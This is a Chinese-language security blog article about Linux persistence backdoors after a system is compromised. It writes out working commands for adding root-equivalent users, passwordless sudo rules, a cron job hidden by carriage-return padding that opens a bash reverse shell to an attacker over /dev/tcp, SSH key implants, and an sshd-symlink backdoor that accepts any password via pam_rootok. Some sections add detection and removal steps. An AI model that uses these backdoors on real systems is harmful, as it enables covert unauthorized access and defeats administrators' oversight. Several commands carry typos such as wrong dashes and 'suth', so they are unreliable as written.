前言
在渗透过程中拿到目标权限只是开始,通常会留下后门以便再次访问(简称APT)。所以需要进行权限维持,隐藏后门。常见的Linux后门有cron后门、ssh后门、vim后门、隐藏文件、添加超级用户、alias后门等等,本文将对Linux下常见的权限维持后门技术进行解析。
创建用户,并修改/etc/passwd文件
useradd tide;echo 'tide:123456' | chpasswd # 创建用户tide并修改密码为123456
vi /etc/passwd # 修改passwd文件,将tide用户的uid改为0
改动前:
改动后:
攻击端:
ssh [email protected]被控端ip -p 端口
使用useradd -p方法,通过 ` ` 存放可执行的系统命令添加uid=0的用户;
useradd -p `openssl passwd -1 -salt 'salt' 123456` chiyu -o -u 0 -g root -G root -s /bin/bash -d /home/chiyu
1.useradd -p `openssl passwd -1 -salt 'salt' 123456` chiyu
#使用useradd -p方法,通过 ` ` 存放可执行的系统命令;
#创建一个用户名为chiyu,密码为123456的普通用户;
攻击端使用chiyu连接(以下就不一一示范了)
#使用useradd -p方法,通过 "$()" 存放可执行的系统命令添加用户;
2.useradd -p "$(openssl passwd -1 123456)" chiyu
#chpasswd方法添加用户;
3.useradd chiyu;echo 'chiyu:123456'|chpasswd
#echo -e方法添加用户;
4.useradd chiyu;echo -e "123456\n123456\n" |passwd chiyu
awk -F: '$3==0{print $1}' /etc/passwd
# 查询特权用户(uid=0的用户)
awk '/\$1|\$6/{print $1}' /etc/shadow
# 查询可以远程登录的账户信息
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
# 查询除root账户外,其他存在sudo权限的账户(如非管理需要,普通账号应删除sudo权限)
/etc/sudoers文件是sudo的配置文件,是管理员集中的管理用户的使用权限和使用的主机。当用户执行sudo命令时,系统会主动寻找/etc/sudoers文件,判断该用户是否有执行sudo的权限,若确认用户具有可执行sudo的权限后,让用户输入密码在进行确认,但是root用户执行sudo时不需要输入密码,所以可利用此文件进行配置允许特定用户在不用输入root密码的情况下使用所有命令。
被控端:
新建用户
修改文件:
使用vim /etc/sudoers 修改,或者用visudo进行编辑此文件,visudo命令可在退出时,自动检测语法错误。
增加一条内容,如下图:
# 此行的含义:普通用户kali可以通过sudo这个命令,免密码以任何用户的身份执行任何命令,kali是要提权的普通用户。第一个ALL,这个规则对所有的host生效,等号右边括号的root(也可以换成ALL),是指kali可以执行root用户权限的命令,第三个ALL是可以执行所有命令。
攻击端:
ssh [email protected]被控端ip -p 端口
crontab命令用于定期执行某些设定好的任务,crond命令每分钟都会定期检查是否有要执行的任务,如果有便会自动执行该任务。若创建新的cron任务,并不会马上执行,一般过2分钟后才能够执行,或者可以重启cron马上执行。
crontab -l命令用于查看定时任务,实际是查看/var/spool/cron/crontabs/root文件(每个用户都会生成一个与自己同名的crontab文件位于/var/spool/cron/crontabs/中),而通过建立隐藏后门的文件,再执行crontab -l或者直接使用cat命令去查看crontabs目录的文件,就无法看见真正执行的定时任务。
被控端:
1.crontab -l # 查看定时任务
2.植入crontab隐藏后门需要的文件first.sh,vim first.sh,文件内容如下:
#! /bin/bash
bash -I >& /dev/tcp/攻击端ip/监听端口 0>&1
(反弹shell到攻击端)
3.建立cron隐藏后门second.sh文件,vim second.sh,文件内容如下:
(crontab -l;printf "*/1 * * * * /root/first.sh;\rno crontab for `whoami`%100c\n")|crontab -
4.更改文件权限
chmod 777 first.sh
chmod 777 second.sh
攻击端:
nc -l 监听端口 # 开启监听
被控端:
crontab -l # 查看定时任务
./second.sh # 执行隐藏后门文件,一分钟后攻击端监听的1234端口就会接收到shell
攻击端监听:
被控端:
这种后门方式,无法直接使用cat命令查看cron文件,可以使用cat -A参数查看,或者通过vim命令,vim /var/spool/cron/crontabs/root发现定时任务,如下图:
cat /var/spool/cron/crontabs/root
或者crontab -e ,查看真实的计划任务
执行crontab -r命令删除crontab文件,但需要注意的是,当前使用的是什么用户执行完该命令就会删除对应账号的crontab文件,并且普通用户一般没有权限访问/var/spool/cron。
1.在/etc/cron.allow中设置,采用白名单,只允许某个账号使用crontab命令;
2.cron每分钟都会读取一次/etc/crontab与/var/spool/cron文件内容,所以要
时常注意这些文件;
(crontab -l;printf "*/1 * * * * /root/first.sh;\rno crontab for `whoami`%100c\n")|crontab -
*/1 * * * *:每隔1分钟执行一次;
/r:cat默认支持 \r 回车符 \n 换行符 \f 换页符这些符号,会导致显示截断隐藏命令,隐藏真实的计划任务;
%100c:格式化输出一个字符,前面99个空格补齐。使用空格帮助我们把前面的内容在 crontab 中遮盖掉;
如果想让创建的文件隐蔽性更强,可以创建名为".."、“...”或以..等开头的
在攻击端生成密钥对,将公钥复制到被控端~/.ssh/authorized_keys文件,并设置相应的权限,即可免密码登录被控端。
攻击端:
ssh -keygen -b 4096 -t rsa # 创建密钥对,生成id_rsa和id_rsa.pub文件
被控端:
mkdir ~/.ssh # 创建.ssh文件夹
攻击端:
ssh-copy-id -p 端口 [email protected]被控端ip # 将攻击端的公钥发送给被控端
攻击端ssh无密码登录
删除~/.ssh/authorized_keys即可。
对sshd建立软链接,可使用任意密码登录。
被控端:
ln -sf /usr/sbin/sshd /路径名/su;/路径名/su -oport=端口号
命令解释:
ln参数 源文件 目标文件
-s:创建软链接;
-f:链接时先将与目标文件同名的文件删除;
攻击端:
ssh 用户名@目标主机IP -p 端口号
sshd服务启用PAM认证机制(在/etc/ssh/sshd_config文件中,设置UsePAM为yes),如果不启用PAM,系统会严格验证用户密码,就无法使用sshd软链接后门。
被控端:
ln –sf /usr/sbin/sshd /usr/local/su;/usr/local/su –pport=6666
攻击端:
ssh [email protected]目标主机ip -p 6666
之后随便输入密码即可连接
若root用户被禁止远程登录,可直接使用其他普通用户登录,密码任写。
root被禁止登录,可以用其他用户登录。
隐蔽性很弱,一般的rookit hunter这类的防护脚本可扫描到。
不建立软链接,直接启动/usr/sbin/sshd是否可以任意密码登录?
被控端:/usr/sbin/sshd –oPort=1212
攻击端:ssh [email protected] –p 1212
连接失败,因为默认使用/etc/pam.d/sshd的PAM配置文件,所以不能建立任意密码登录的后门。
不允许PAM认证,对后门是否有影响?
被控端:将/etc/ssh/sshd_config文件中UsePAM的值改为no。
ln –sf /usr/sbin/sshd /tmp/su;/tmp/su –oPort=2222
连接失败,因为默认使用/etc/pam.d/sshd的PAM配置文件,所以不能建立任意密码登录的后门。
软链接的路径、文件名是否对后门有影响?
(1)改变链接的路径:
被控端:ln –sf /usr/sbin/sshd /tmp/su;/tmp/su –oPort=1234
连接成功,说明软链接的路径与后门功能无关联;
(2)改变链接的文件名:
被控端:ln –sf /usr/sbin/sshd /usr/local/tmp; /usr/local/tmp –oPort=2345
连接失败,说明软链接的文件名会影响后门功能。
如果直接启动/usr/sbin/sshd,系统默认会使用/etc/pam.d/sshd目录中的PAM的配置文件,而通过建立软链接的方式,PAM认证实际上是通过软链接定义的文件名(如/usr/local/su),在/etc/pam.d目录中去寻找对应的PAM配置文件(如/etc/pam.d/su)。
任意密码登录的核心是suth sufficient pam_rootok.so配置,除了su文件可成功利用,/etc/pam.d目录中只要PAM配置文件中包含此项配置,就可以SSH任意密码登录(比如我的系统除了su还有chfn、chsh、runuser)。
find /etc/pam.d | xargs grep “pam_rootok.so”,查看包含此项配置的文件。
或者不用系统原有的PAM配置文件,可以自己写一个。
被控端:
echo “auth sufficient pam_rootok.so” >> /etc/pam.d/chiyu
cat /etc/pam.d/chiyu
ln –sf /usr/sbin/sshd /usr/local/chiyu;/usr/local/chiyu –oPort=9999
查看/etc/pam.d目录中有哪些文件包含auth sufficient pam_rootok.so配置;
find /etc/pam.d | xargs grep “pam_rootok.so”
找到这些文件的异常端口和进程,杀死可疑进程;
netstat –anplt | grep –E “su | chfn | chsh | runuser ”
ps –aux | grep PID号
kill -9 PID号
找到创建的软链接文件进行删除;
ls -il
rm -rf 文件名
4. 关闭PAM认证;
https://blog.csdn.net/weixin_39682897/article/details/116863255
https://www.jianshu.com/p/59d1f1803421?utm_campaign=haruki
https://cloud.tencent.com/developer/article/1683265?from=information.detail.%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%95%99%E9%9A%90%E8%94%BD%E5%90%8E%E9%97%A8
E
N
D
关
于
我
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。